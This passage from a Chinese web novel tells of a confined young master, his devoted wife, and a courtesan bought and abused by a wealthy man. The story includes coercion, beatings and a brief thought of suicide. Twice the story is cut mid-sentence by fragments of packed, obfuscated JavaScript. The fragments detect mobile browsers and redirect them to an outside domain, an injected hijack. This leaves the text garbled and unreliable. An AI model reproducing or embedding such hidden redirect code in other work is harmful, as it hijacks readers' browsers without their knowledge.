那个说“想留个念想”的女子,那个被父亲骂作“低贱货色”的女子,此刻是不是正一个人坐在空荡荡的舱房里,默默流泪? 想到这里,他的心像被针扎一样疼。 他暗暗握紧拳头,不管父亲怎么说,他都认定了,丁香不是那样的人。 等他出去,一定要找到她,一定要告诉她。 马车刚停在肖府门口,李傲雪就迎了上来。她见肖晨低着头,脸色难看,肖父更是眉头紧锁,满脸怒容,心里咯噔一下,连忙福身:“父亲,少爷,你们回来了。” 肖父没看肖晨,只对着李傲雪沉声道:“傲雪,从今日起,你把他看紧了。”他指了指肖晨,语气带着不容置疑的威严,“让他在房里待着,每日读书写字,没我的允许,不许踏出房门半步。你亲自伺候,寸步不离。” 李傲雪愣了愣,虽不明白发生了什么,却能感觉到事情的严重性。她看了看肖晨通红的眼眶,又看了看肖父铁青的脸,不敢多问,只温顺地应道:“儿媳知道了。” 肖父这才松了点脸色,又瞪了肖晨一眼,转身拂袖而去。 肖晨站在原地,拳头攥得死紧,胸口还在剧烈起伏。李傲雪小心翼翼地拉了拉他的衣袖:“少爷,咱们先回房吧。” 肖晨没说话,任由她拉着往院子走。一路无话,进了房间,他才猛地甩开她的手,烦躁地在屋里踱步,嘴里反复念叨:“他凭什么那么说她……凭什么……” 李傲雪看着他失魂落魄的样子,心里像被什么东西揪了一下。她虽不知道那个“她”是谁,却能感觉到,那人在肖晨心里分量极重。 她没多问,只是默默倒了杯热茶递过去:“少爷,先喝口茶吧,消消气。” 肖晨没接,反而抬头看她,眼神里带着恳求:“傲雪,你放我出去好不好?我得去找丁香,我要跟她道歉……” 李傲雪手一抖,茶水差点洒出来。丁香?是那个弹琴很好听的姐姐? 她低下头,声音轻轻的:“少爷,父亲说了,不让你出去。”她是肖家的媳妇,自然要听长辈的话,可看着肖晨焦急的样子,她又忍不住心疼。 肖晨见她不肯,更急了:“可她……” “少爷,”李傲雪打断他,抬起眼望着他,眼里带着点委屈,却很坚定,“我知道你心里急,可父亲也是为了你好。你要是硬闯出去,父亲会更生气的。” 她走到他面前,轻轻握住他的手:“你乖乖待着,我陪着你。等父亲气消了,咱们再想办法,好不好?” 肖晨看着她亮晶晶的眼睛,里面满是担忧和顺从,到了嘴边的话忽然说不出口了。他知道傲雪是无辜的,不该把气撒在她身上。 他叹了口气,抽回手,走到窗边坐下,望着外面紧闭的院门,眼神黯淡。 李傲雪看着他落寞的背影,心里酸酸的。她不知道该做些什么,只能默默地给他研墨,给他铺纸,像往常一样陪在他身边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993196|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只是这一次,她能感觉到,肖晨的心,不在这院子里了。 他的目光,好像飘向了很远的地方,飘向了那个叫丁香的姑娘那里。 李傲雪低下头,轻轻咬着唇。她忽然有点怕,怕那个只听过名字的姑娘,会把她的少爷抢走。 王老爷派来的人登上花船时,丁香正坐在窗边喂八哥。那鸟儿歪着头啄她指尖的米,发出“公子”“公子”的叫声,声音模仿得有几分像肖晨。 刀疤刘陪着笑上前:“丁香姑娘,王老爷那边备了马车,您……该动身了。” 丁香没看他,只是轻轻抚摸着八哥的羽毛,声音平静:“知道了。” 她起身,没让丫鬟帮忙,自己慢慢收拾东西。小丫鬟红着眼圈想跟上来,却被刀疤刘拦住了。有些路,终究只能一个人走。 丁香走到墙角的木盒前,打开,里面放着那只八哥笼,还有一卷用红绳系着的画。她把鸟笼提在手里,又小心翼翼地将画揣进怀里,指尖触到画纸,仿佛还能想起肖晨给她画像时的样子。 那天阳光很好,他坐在对面,笔尖在纸上沙沙作响,偶尔抬头看她一眼,眼神温柔得像落了层雪。画成后,他递给她,笑着说:“画得不好,将就看。” 那幅画里的她,眉眼含笑,眼底有光,还不是如今这副死气沉沉的模样。 “这些,我要带走。”她提着鸟笼,抱着画,对来接她的人说。 来人打量了她一眼,见不过是只鸟和一卷画,不耐烦地挥挥手:“赶紧走,别耽误了时辰。” 丁香没再说话,跟着他们下了船。马车停在岸边,黑漆的车厢,挂着厚重的帘子,像口移动的棺材。她弯腰坐进去时,八哥在笼里扑腾着翅膀,发出不安的叫声。 她轻轻拍了拍笼子:“别怕,我带你走。” 马车辘辘驶离码头,往王老爷的府邸去。车厢里一片漆黑,丁香抱着那卷画,指尖反复摩挲着画纸的边缘。她知道,从踏入这马车开始,过去的一切就都结束了——那个会弹琴的丁香,那个对肖晨存过念想的丁香,都死了。 剩下的,只是王老爷要的那个“够辣”的玩物。 也好,至少她还能带著八哥,带着这幅画。 鸟儿记得他的声音,画里存着她最好的模样。 就算身陷泥沼,总要有样东西,提醒她曾经也干净过,也被人温柔以待过。 马车驶进王府大门时,丁香掀起帘子一角,看了眼那朱红的门,像一张巨兽的嘴。她深吸一口气,抱着怀里的画,提着鸟笼,一步步走了进去。 八哥在笼里突然叫起来:“公子……别走……” 声音凄厉,像在哭。 丁香的脚步顿了顿,随即又迈开,没回头。 有些告别,注定只能在心里说。 再见了,肖晨。 再见了,那个曾对未来有过一丝期盼的自己。 王老爷的卧房里燃着浓郁的熏香,呛得丁香有些发晕。几个仆妇将她按在浴桶里,粗鲁地擦洗,又给她换上一身艳俗的红裙,发髻梳得繁复,插满了沉甸甸的金钗。 她像个木偶,任人摆布,眼神空洞地望着铜镜里陌生的自己——脂粉掩盖了苍白,红裙衬得肌肤愈发像雪,却也像雪一样冷。 被推到床上时,锦被的触感滑腻冰冷。她闭上眼,指甲深深掐进掌心,试图保持最后一点清醒。 脚步声由远及近,带着熟悉的酒气。床榻微微一沉,王老爷俯下身,呼吸喷在她脸上,带着令人作呕的热意。 “睁开眼,看着我。”他的声音带着命令的口吻,手指捏住她的下巴。 丁香睫毛颤了颤,终究还是睁开了眼,却猛地把头扭向一边,不愿看他那张写满贪婪的脸。 “呵,还在闹脾气?”王老爷冷笑一声,手上的力道加重,强迫她转过头来,“别忘了,是谁把你从那花船上赎身的!没有我,你现在还在给那些粗汉弹琴卖笑!” 这话像鞭子一样抽在她心上。她知道他说的是事实,却偏生咽不下这口气。她猛地抬眼,眼底闪过一丝恨意:“赎身?不过是从一个牢笼,换到另一个牢笼罢了。” “牢笼?”王老爷被她的眼神激怒,又觉得有趣,“能住进我王某人的府邸,是多少女人求都求不来的福分!你倒嫌弃起来了?” 他伸手去扯她的衣襟,红裙的领口被撕开一道口子,露出纤细的锁骨。 丁香浑身一颤,却死死咬着唇,不肯发出一点声音。她忽然想起肖晨给她画的那幅画,想起画里那个眼神清澈的自己。 原来,干净的样子,已经是上辈子的事了。 她闭上眼睛,任由眼泪无声地滑落,浸湿了枕巾。怀里的画被压在身下,隔着薄薄的衣料,仿佛还能感受到那点残存的温度。 八哥在外面的廊下不安地叫着,声音凄厉。 王老爷的手顿了顿,烦躁地吼道:“把那破鸟给我扔了!” “不准!”丁香猛地睁开眼,声音嘶哑,“那是我的东西!” 王老爷看着她眼底难得的波动,忽然笑了:“哦?看来那鸟对你很重要?”他凑近她,语气暧昧又残忍,“想要保住它,就得乖乖听话。” 丁香看着他丑陋的嘴脸,心里一片冰凉。她知道自己没有讨价还价的余地。 最终,她闭上眼,轻轻“嗯”了一声,声音轻得像叹息。 王老爷满意地笑了,手又开始不规矩地乱动。 窗外的月光透过窗棂照进来,落在她苍白的脸上,像一层薄薄的霜。 她的八哥还在叫,一声声“公子”,像在为她哭丧。 而那幅画,被她死死压在身下,像一个永远不能说出口的秘密。 这就是她的命。 逃不掉的。 王老爷的手顺着红裙滑下去,指尖冰凉,带着不容抗拒的侵略性。他俯身想去吻她,却见她偏着头,睫毛剧烈地颤抖,眼底的嫌恶像根刺,扎得他心头火起。 “怎么?嫌我老?”他捏着她的下巴,强迫她转过头,“还是在想肖家那小子?” 丁香闭紧嘴,一声不吭。可这沉默,比任何反驳都更让他愤怒——她的不回应,本身就是一种无声的承认。 “啪!” 清脆的巴掌声在寂静的卧房里炸开,火辣辣的疼瞬间从脸颊蔓延开。丁香被打得偏过头,嘴角渗出一丝血珠。 她没哭,也没躲,只是缓缓转过头,眼神里淬着冰,直直地望着他,像在看一个跳梁小丑。 “你找死!”王老爷被她的眼神逼得后退半步,随即恼羞成怒,指着她骂道,“别以为摆着这副贞烈的样子我就不敢动你!告诉你,总有一天,我会让你哭着求我,求着爬上我的床!” 他喘着粗气,像是被耗尽了所有耐心,狠狠瞪了她一眼,转身摔门而去。 门板撞在门框上的巨响,震得房梁上的灰尘都簌簌落下。 丁香缓缓抬手,抚上被打的脸颊,指尖触到滚烫的疼,还有那点咸腥的血。她没哭,只是眼底的光,彻底变成了死灰。 肖家那小子……他终究还是知道了。 可知道又如何?她现在是他砧板上的肉,连思念一个人的资格,都成了罪过。 她慢慢蜷缩起身子,将那幅画紧紧抱在怀里,像抱着最后一根救命稻草。画纸被她的眼泪浸湿,晕开了一角墨迹,像她此刻模糊的视线。 外面的八哥还在叫,一声声“公子”,叫得人心头发麻。 王老爷的脚步声在回廊尽头消失了,留下满室的寂静,还有那挥之不去的酒气和屈辱。 丁香望着帐顶精致的绣纹,忽然低低地笑了起来,笑着笑着,眼泪就汹涌而出。 求着爬上他的床? 她就算是死,也绝不会。 只是……那脸上的疼,怎么也比不上心里的万分之一。 她不知道肖晨怎么样了,是不是还被关在府里,是不是已经忘了花船上有过一个叫丁香的姑娘。 或许忘了,才是最好的。 她闭上眼,任由黑暗将自己吞噬。 明天醒来,又是该熬的一天。 36. 他好担心她 第二日清晨,丫鬟端着水盆进来时,见丁香仍维持着昨夜的姿势蜷缩在床上,脸颊上的红印肿得厉害,像块丑陋的胎记。 “姑娘……”丫鬟声音发颤,放下水盆想替她上药,却被她避开了。 丁香缓缓坐起身,赤着脚踩在冰凉的地板上,走到窗边。廊下的八哥见她出来,扑腾着翅膀叫“公子”,声音哑得厉害。 “水。”她开口,声音干涩得像砂纸摩擦。 丫鬟连忙倒了杯温水递过去。她接过,却没喝,只是望着笼子里的八哥,眼神空茫。 王老爷没再来。府里的仆妇对她客气,却带着疏离,像看一件易碎又烫手的物件。没人提昨夜的巴掌,也没人问她疼不疼,仿佛那一巴掌,不过是掸去了一粒灰尘。 她被安置在偏院,院子雅致,却像座镀金的牢笼。每日有锦衣玉食,有丫鬟伺候,可她连院门都出不去。王老爷像是忘了她,只偶尔派人送来些珠宝首饰,件件华贵,却都被她扔在角落,蒙了层灰。 她把那幅肖像画藏在妆匣最底层,每日夜里拿出来看。画里的自己眉眼带笑,身后是花船的窗棂,窗外是灰蒙蒙的水——那是她第一次见肖晨的地方。 他当时穿着月白长衫,站在廊下看她弹琴,阳光落在他发间,像落了层碎雪。 “姑娘琴弹得好。”他笑着开口,声音清润。 原来,已经是那么久以前的事了。 这天傍晚,王老爷忽然来了。他喝了酒,带着满身戾气,一进门就攥住她的手腕:“想清楚了吗?要不要换个活法?” 丁香甩开他的手,后退一步,脸颊上的红印虽消了些,却仍能看出痕迹。“我的活法,不劳老爷费心。” 王老爷被她的硬气激怒,却没动手,只冷笑:“嘴硬。我倒要看看,你能撑到几时。”他目光扫过角落蒙尘的珠宝,“肖家那小子被他爹禁足了,听说连大门都出不去。你以为他还能来救你?” 丁香的心猛地一缩,脸上却依旧平静:“我与他本就无瓜葛。” “无瓜葛?”王老爷逼近一步,掐住她的下巴,强迫她抬头,“那夜在花船上,你可不是这么说的。你求他留个念想,不是吗?” 他竟派人盯着花船!丁香浑身冰凉,像被剥光了扔在雪地里。 “可惜啊,”王老爷松开手,语气带着残忍的笑意,“他被他爹拖走时,连头都没回。” 这句话,比昨夜的巴掌更疼。她踉跄着后退,撞在妆台上,妆匣掉在地上,里面的画散落出来。 王老爷弯腰捡起画,看清上面的肖像,眼神瞬间阴鸷。画上的男子笔法熟悉——是肖晨的笔迹。 “好,好得很。”他把画揉成一团,狠狠砸在她脸上,“到了现在,还揣着他的东西!” 画纸被揉得皱巴巴的,边角裂开,像她此刻的心。丁香扑过去想抢,却被王老爷一脚踹在胸口,疼得她蜷缩在地,半天喘不过气。 “把这破画烧了!”王老爷怒吼,“还有那只鸟,给我宰了炖汤!” “不要!”丁香咳着血沫嘶吼,“那是我的!不准碰!” 王老爷看着她状若疯癫的样子,忽然觉得无趣。他踢了踢地上的画纸,像在碾一只虫子:“留着也行。让你天天看着,看看你心心念念的人,是怎么把你忘在脑后的。” 他转身就走,走到门口又停下,回头看她:“对了,肖家最近在忙婚事,听说要给那小子纳妾了。你说,他会不会想起你这个‘知己’?” 说完,他大笑着离去,笑声在空荡的院子里回荡,像针一样扎进丁香的耳朵里。 丁香趴在地上,看着那团皱巴巴的画,眼泪混着血沫淌下来。 纳妾了。 也好。 她撑起身子,一点点把画纸展开,小心翼翼地抚平褶皱。画上的自己还在笑,可她却笑不出来了。 廊下的八哥还在叫,一声声“公子”,叫得撕心裂肺。 她慢慢站起身,走到窗边,望着院墙上的月亮。和花船上的月亮一样,又冷又亮。 她知道,王老爷说的是对的。她撑不了多久了。 可撑一天,是一天。 至少现在,她还能守着这幅画,守着这只鸟,守着心里那点快熄灭的念想。 她抬手抚上脸颊,那里还在疼。 疼也好,至少能证明,她还活着。 活着,就还有念想。 王老爷一脚踹开偏院的门,脸上还带着未消的戾气。廊下伺候的仆妇们吓得纷纷低头,连大气都不敢喘。 “给我看好了里面的人!”他声音洪亮,带着不容置疑的威严,“一只苍蝇都别想让她接触,更不许踏出府门半步!” “是,小的们记下了。”仆妇们连忙应道。 管家凑上前,脸上堆着笑,语气却带着点惋惜:“老爷,这女子也太倔了,到现在还不肯从了您。您说,这一万两银子加上官府那边的人情,岂不是……” “白花钱?”王老爷斜睨他一眼,忽然嗤笑一声,眼神里透着势在必得的狠厉,“你懂什么。越是倔的骨头,啃起来才越有滋味。” 他伸手理了理衣襟,慢悠悠地说:“等有一天,她哭着求我的时候,我再慢慢玩。到时候,让她做什么,她就得做什么。” 管家愣了愣,随即谄媚地笑:“还是老爷高明!” “高明?”王老爷哼了一声,语气陡然转冷,“我王某人从不做赔本的买卖。她要是识相,还能在府里多待些时日;若是不识相……” 他顿了顿,眼里闪过一丝阴毒:“等我腻了,就把她卖到最低等的妓院里去。到时候,我再让官府给那些妓院加几成税收,就说是‘教化不力’的罚银。” 管家心里一寒,这是连后路都给人堵死了!那妓院本就靠着薄利维持,再加税收,怕是要关门大吉,而丁香落到那种地方,日子可想而知。 “到时候,”王老爷舔了舔唇角,像头盘算着猎物的狼,“我吃出去的银子,还有那些人情,都得让他们加倍吐出来。一分都不能少。” 他拍了拍管家的肩膀,力道不轻:“看好她,别让她寻死觅活的。我还等着看她求我的样子呢。” “是,小的一定看好!”管家连忙应下,看着王老爷扬长而去的背影,后背渗出一层冷汗。 这王老爷,心思也太狠了。 偏院里,丁香靠在门板上,将外面的话听得一清二楚。每一个字,都像淬了毒的针,扎得她浑身发冷。 卖到妓院,增加税收……原来他早就盘算好了。 她缓缓滑坐在地,看着角落里那团皱巴巴的画,忽然觉得可笑。她还以为守住画和鸟,就能守住最后一点念想,却不知自己早已成了他砧板上的肉,连怎么被处置,都由不得自己。 廊下的八哥像是感受到了她的绝望,不再叫“公子”,只是发出低沉的呜咽,像在哭。 丁香慢慢站起身,走到妆台前,拿起一面铜镜。镜中的女子脸色苍白,脸颊上的红印还未消,眼神空洞得像口枯井。 这样的日子,什么时候是个头? 她拿起桌上的发簪,指尖冰凉。发簪尖锐的顶端对着自己的脖颈,只要轻轻一送…… “公子……”廊下的八哥忽然又叫了一声,声音嘶哑。 丁香的手顿住了。 她不能死。 死了,就真的什么都没了。 她放下发簪,重新坐回床边,将那团画纸小心翼翼地展开,一点点抚平。就算是死,她也要带着这幅画一起走。 至少,不能让王老爷称心如意。 她望着窗外紧闭的院门,眼神里第一次燃起一丝微弱却坚定的光。 想让她求他?想把她卖到妓院? 做梦。 她丁香,就算是死,也要死得有骨气。 大不了,鱼死网破。 肖晨被关在房里整整两天了。院门锁得死死的,窗棂外守着两个膀大腰圆的仆役,连只麻雀都飞不出去。 李傲雪寸步不离地陪着他,给他读书,给他描眉,像往常一样温柔小意,可他始终提不起精神。手里的书卷翻了又翻,一个字也没看进去,眼神总是飘向窗外,像丢了魂。 “少爷,喝点粥吧,你两天没好好吃东西了。”李傲雪端着白瓷碗,轻声劝道。 肖晨摇摇头,抓起桌上的酒壶,仰头又灌了一大口。辛辣的酒液灼烧着喉咙,却压不住心里的闷。 他还不知道丁香已经落入王老爷手中,只单纯地以为她是真的要走了——或许是回了乡下,或许是去了别的地方,总之,是再也见不到了。 那个能听懂他琴音的人,那个会对着八哥温柔笑的人,那个说“看到它就像你陪着我”的人……就这么走了。 连一句像样的告别都没有。 “她走了……”他喃喃自语,眼眶泛红,“以后再也没人听我弹琴了,再也没人跟我论诗了……” 李傲雪看着他失魂落魄的样子,心里酸酸的,却只能轻轻拍着他的背:“少爷,还有我呢。我可以学,我可以听你弹琴,听你论诗……” “你不一样。”肖晨打断她,声音带着醉意,“你是我的妻子,她是我的知己。不一样的……” 这话像根细针,轻轻扎在李傲雪心上。她低下头,没再说话,只是默默地给他添酒。 肖晨一杯接一杯地喝,很快就醉得厉害了。他趴在桌上,脸颊通红,嘴里反复念叨着“丁香”的名字,还有“弹琴”“八哥”…… “我还没跟她说再见……”他忽然哭了起来,像个受了委屈的孩子,“我还想听她弹《平沙落雁》……我还没告诉她,那幅画画得不好,我想再给她画一幅……” 李傲雪看着他哭,自己也跟着掉眼泪。她从未见过肖晨这样失态,那个总是温和稳重的少爷,原来也会为了一个人,哭得像个孩子。 她终于明白,丁香在他心里,是真的不一样。 “少爷,别哭了……”她伸手想擦去他的眼泪,却被他挥开了。 “让我哭……”肖晨哽咽着,“以后……再也见不到了……” 他不知道,他口中的“见不到”,比他想象的要残酷得多。那个他以为只是“离开”的女子,此刻正身陷囹圄,日夜受着煎熬。 而他,还傻傻地守着“再见”的念想,在这方寸之地,为一场永别的知己,哭得撕心裂肺。 夜渐渐深了,肖晨醉倒在桌上,手里还紧紧攥着一只空酒杯。李傲雪给他盖上薄毯,看着他眼角未干的泪痕,轻轻叹了口气。 她不知道该怎么办,只能守着他,像守着一个易碎的梦。 只是这梦,注定要碎的。 等他醒了,等他知道了真相,又该是怎样一番光景? 李傲雪不敢想,只能祈祷着,那一天,能来得晚一点,再晚一点。 夜深了,烛火摇曳,映得窗纸忽明忽暗。肖晨趴在桌上,眉头紧锁,嘴里断断续续地呢喃着,带着浓浓的鼻音,像个迷路的孩子。 “丁香……别走……” “再弹一曲……就一曲……” “我还没……听够你说话……” 李傲雪本就没睡沉,被这声音惊醒,心头一紧。她走到桌边,看着他泛红的眼角,还有那无意识蹙着的眉,心里又酸又涩。 原来,连梦里,他想的都是那个姑娘。 肖晨翻了个身,差点从椅子上摔下来,嘴里还在叫:“别走……” 李傲雪连忙伸手扶住他,将他轻轻揽进怀里。他的头靠在她肩上,带着浓重的酒气,却意外地温顺。 “不走……”她轻轻拍着他的背,声音软得像棉花,“我不走,少爷。” 她知道自己说的不是他想听的那个名字,可她只能这样说。她怕他再哭,怕他再喊那个名字,怕自己会忍不住嫉妒,忍不住难过。 肖晨似乎在梦里听到了,眉头渐渐舒展了些,嘴里的呢喃也停了。他往她怀里缩了缩,像只寻求安慰的小兽。 李傲雪抱着他,坐在冰冷的椅子上,一动不动。夜风吹过窗棂,带着凉意,她却觉得心里暖暖的。 至少这一刻,他是靠在她怀里的。 至少这一刻,他没再喊别人的名字。 她低头,看着他熟睡的侧脸,长长的睫毛在眼下投出淡淡的阴影,鼻梁挺直,唇线清晰。他确实很好看,好看到让她觉得,能这样抱着他,就已经是天大的福气。 “少爷,”她轻声说,声音轻得只有自己能听见,“别想她了,好不好?” “留在我身边,我会对你很好的。” 回应她的,只有肖晨均匀的呼吸声。 烛火燃尽了,屋里渐渐暗下来。李傲雪抱着他,直到天快亮时,才轻轻将他扶到床上。 她替他盖好被子,坐在床边,看着他安静的睡颜,久久没有动。 天亮了,他醒了,大概又会想起丁香吧。 可那又怎么样呢? 她是他的妻子,这是改变不了的事实。 她会等,等他慢慢忘了那个叫丁香的姑娘,等他回头看看,身边还有一个叫李傲雪的人,一直在等他。 想到这里,李傲雪的眼神坚定了些。她轻轻握住肖晨放在被外的手,指尖传来他温热的体温。 这就够了。 肖晨醒来时,头痛欲裂,宿醉的后劲涌上来,让他昏沉了好一会儿才看清眼前的人。 李傲雪正拿着温热的帕子给他擦脸,动作轻柔,眼底带着淡淡的青黑,显然是一夜没睡。 “你……”他刚开口,声音沙哑得厉害。 “少爷醒了?”李傲雪连忙放下帕子,倒了杯温水递到他嘴边,“喝点水会舒服些。” 肖晨就着她的手喝了几口,看着她眼下的乌青,心里忽然涌上一阵愧疚。他喝醉了闹了一夜,她却在这里守了他一夜。 他想起自己梦里喊的名字,想起自己说的那些话,脸颊瞬间发烫。 “傲雪,”他拉住她的手,声音低沉,“对不起。” 李傲雪愣了愣,抬头看他。 “这几日,我冷落你了。”他看着她的眼睛,认真地说,“不该让你跟着我难受。” 李傲雪的眼圈一下子红了,眼泪像断了线的珠子,噼里啪啦地掉下来。她吸了吸鼻子,声音带着哭腔:“少爷,我没有怪你……我就是看你那么伤心,心里也跟着疼……我不知道该怎么办,只能陪着你……” 她低下头,手指绞着衣角,声音越来越小:“我看到你总想着丁香姑娘,我……我怕你不要我了……” 肖晨的心像被什么东西揪了一下,疼得厉害。他伸手将她揽进怀里,紧紧抱住:“傻瓜,怎么会不要你。” “你是我的妻子,是要陪我一辈子的人。”他轻轻拍着她的背,声音温柔,“是我不好,让你受委屈了。” 李傲雪靠在他怀里,听着他有力的心跳,眼泪流得更凶了,却带着点委屈,也带着点安心。她伸手紧紧抱住他的腰,把脸埋进他的衣襟里:“我不要你对不起,我只要少爷好好的……” 肖晨闭上眼睛,深深吸了口气。怀里的人温热柔软,带着让他心安的气息。他知道,自己不能再这样沉溺下去了。 丁香有她的路要走,他也有自己的责任要担。 他轻轻推开李傲雪,替她擦去脸上的眼泪,眼神温柔而坚定:“以后不会了。” 李傲雪看着他认真的眼神,用力点了点头,嘴角慢慢扬起一个浅浅的笑,像雨后初晴的天空。 阳光透过窗棂照进来,落在两人交握的手上,温暖而明亮。 肖晨知道,心里那个角落,或许永远会为丁香留着一个位置,但他能做的,是珍惜眼前人。 肖晨看着李傲雪泛红的眼眶,还有那强撑着的笑意,心里像被浸了温水,又酸又软。他不知道该说些什么才能弥补这些日子的冷落,千言万语堵在喉头,最终都化作一个笨拙的动作。 他抬手,轻轻捏住她的下巴,指腹触到她细腻的肌肤,带着点微颤的温热。李傲雪愣了愣,眼底闪过一丝惊讶,下意识地想后退,却被他按住了。 “傲雪。”他低声唤她,声音里带着未散的沙哑,还有一丝连自己都没察觉的渴求。 不等她反应,他俯下身,吻上了她的唇。 很轻,很生涩,像第一次触碰珍宝的孩子,带着点小心翼翼的试探。李傲雪浑身一僵,随即像被烫到一样,睫毛剧烈地颤抖起来,眼泪却毫无预兆地涌了上来。 不是委屈,是太久的等待终于有了回应的酸涩。 肖晨能感觉到她的僵硬,也能尝到她唇边淡淡的咸味。他没有退缩,反而微微加重了力道,像在汲取什么,又像在逃避什么。脑海里闪过丁香的影子,闪过花船上的琴声,闪过父亲愤怒的脸……他用力闭上眼,将那些纷乱的念头摒除,只专注于唇上的柔软。 或许只有这样,才能暂时忘记心里的烦恼。 或许只有这样,才能证明自己真的能“放下”。 李傲雪渐渐放松下来,证明着抬手,轻轻环住他的脖子,踮起脚尖,笨拙地回应着他。她的吻很轻,带着点羞怯,却像一团小火,慢慢熨帖了他心里的褶皱。 他把她抱得更紧,吻也越来越深,带着压抑许久的情绪,带着对现实的妥协,也带着一丝连自己都分不清的悸动。 窗外的阳光越发明媚,照在两人交缠的身影上,镀上一层金色的光晕。 李傲雪的心跳得像要蹦出来,脸颊滚烫,却舍不得推开他。她能感觉到他的挣扎,也能感觉到他的靠近,这就够了。 不知过了多久,肖晨才缓缓松开她。两人额头相抵,呼吸交缠,都有些喘。 “傲雪……”他看着她泛红的脸颊和湿润的眼眶,声音低沉,“以后,我会对你好。” 李傲雪用力点头,眼泪又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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肖晨的心跳漏了一拍。他想起昨夜醉酒后的失态,想起刚才那个失控的吻,脸颊有些发烫。可看着她眼里满是期待的光,拒绝的话怎么也说不出口。 他沉默了片刻,终究还是点了点头:“好。” 李傲雪瞬间笑开了,眼睛弯成了月牙,拉着他就往床边跑,像个得到了糖果的孩子。 肖晨被她拉着,看着她雀跃的背影,嘴角忍不住微微上扬。或许,这样也不错。 他脱了鞋,躺在外侧,李傲雪挨着他躺下,小心翼翼地往他身边挪了挪,直到肩膀碰到他的胳膊,才满意地停下。她闭上眼睛,嘴角还带着笑,呼吸渐渐变得均匀。 肖晨却没睡着。他侧过头,看着她恬静的睡颜,长长的睫毛像两把小扇子,皮肤白皙,唇瓣因为刚才的吻而显得格外红润。 这就是他的妻子。 一个满心满眼都是他的小姑娘。 他轻轻叹了口气,伸出手,犹豫了一下,还是将她揽进了怀里。 李傲雪似乎在梦里感受到了,往他怀里缩了缩,找了个舒服的姿势,发出满足的喟叹。 肖晨低头,看着怀中人依赖的模样,心里那点残存的烦躁和愧疚,渐渐被一种柔软的情绪取代。 或许,他真的该放下过去了。 他闭上眼睛,鼻尖萦绕着她发间淡淡的清香,怀里是温热的柔软。这一次,没有丁香的影子,没有花船的琴声,只有身边人的呼吸声,平和而安稳。 他终于渐渐沉入梦乡。 窗外的阳光正好,透过窗棂洒在被子上,暖洋洋的。 这一觉,肖晨睡得格外沉。 等他醒来时,李傲雪正趴在床边看他,眼里满是笑意。 “少爷醒了?”她递过一杯温水,“饿不饿?我让厨房做了你爱吃的莲子羹。” 肖晨接过水,看着她亮晶晶的眼睛,心里忽然变得很踏实。 “嗯。”他应了一声,嘴角扬起一抹温柔的笑,“一起吃。” 李傲雪用力点头,眼睛里的光,比窗外的阳光还要亮。 她知道,他们的日子,终于要回到正轨了。 只是她不知道,有些事,一旦开始,就再也回不去了。而那个被他们暂时遗忘的名字,正藏在某个角落,等待着被重新提起的那一天——带着血和泪。 肖晨被解禁那天,天气格外好。李傲雪牵着他的手走出院门时,他眯着眼看了看天上的太阳,竟有种恍如隔世的感觉。 刚走到正厅,就见肖父坐在太师椅上,手里捧着茶盏,脸色虽依旧严肃,却比前几日缓和了许多。 “父亲。”肖晨走上前,规规矩矩地行了礼。 肖父放下茶盏,目光在他身上扫了一圈,又看了看旁边站着的李傲雪,见两人手牵着手,姑娘家脸上带着羞赧的笑,心里的气总算顺了些。 “想通了就好。”他沉声道,语气里带着长辈的威严,“傲雪是个好姑娘,自打进了咱们肖家的门,对你一心一意,你得好好待她。” 肖晨握紧了李傲雪的手,点头道:“儿子知道。” “知道就好。”肖父又道,“你是肖家独苗,将来要撑起这个家的。往后少出门闲逛,多在家读书,把心思放在正途上。”他顿了顿,眼神锐利起来,“外面那些乱七八糟的人,尤其是花街柳巷里的,不许再沾。咱们肖家丢不起这个人,也别委屈了傲雪。” 这话虽是敲打,却也带着点和解的意味。 肖晨知道父亲指的是丁香,心里微微一涩,却还是应道:“儿子明白。以后不会了。” 李傲雪在一旁低着头,手指绞着帕子,听见肖晨的话,悄悄松了口气,嘴角忍不住微微上扬。 肖父见他态度诚恳,终于满意地点点头:“行了,去忙吧。下午把《论语》抄一遍给我看。” “是。”肖晨应下,牵着李傲雪转身离开。 走到回廊时,李傲雪才抬头看他,眼里带着笑:“少爷,父亲不生气了。” “嗯。”肖晨低头看她,眼底带着温柔,“以后,我好好陪你。” 李傲雪用力点头,把他的手握得更紧了。阳光穿过回廊的雕花窗棂,在两人身上投下斑驳的光影,一切都像是回到了最初的样子——他是温润的肖家少爷,她是温顺的少夫人,日子平静而安稳。 只是肖晨心里清楚,有些东西,终究是不一样了。 他低头看着两人交握的手,又想起那个抱着画纸、眼神倔强的女子。 或许,这样相安无事,就是最好的结局。 他不知道,这“相安无事”的背后,是另一个人用尽全力的隐忍和煎熬。而他此刻的“放下”,在不久的将来,会变成一道永远无法愈合的伤疤。 但至少现在,他只想守着身边的人,过好眼前的日子。 肖晨握紧了李傲雪的手,加快了脚步。 回廊尽头的风,带着淡淡的花香,吹得人心里暖暖的。 肖晨虽表面平静下来,心里却总惦记着丁香。那日在花船上的不欢而散,还有她那句“我要走了”,像根刺扎在他心头。 趁李傲雪去厨房给他端点心的空档,他悄悄叫住阿成,往他手里塞了块碎银子:“你去花船那边一趟,打听一下丁香姑娘……到底去了哪里。” 阿成愣了愣,想起前几日老爷的怒火,有些犹豫:“少爷,这……” “别让任何人知道,尤其是父亲和夫人。”肖晨压低声音,眼神里带着恳求,“就问问她的去向,别的不用多问。” 阿成看他神色恳切,终究还是点了头:“小的知道了。” 阿成去了大半日,回来时脸色有些为难。肖晨正在书房练字,见他回来,连忙放下笔:“怎么样?” “小的去花船问了,”阿成挠了挠头,“可那些伙计和丫鬟都嘴紧得很,只说丁香姑娘几日前就走了,至于去了哪里,是回乡下还是去了别的地方,他们都说不知道,问多了就只摆手,不肯再提。” 肖晨的心沉了沉。怎么会一点消息都没有? “他们……有没有说别的?比如谁来接的她?” 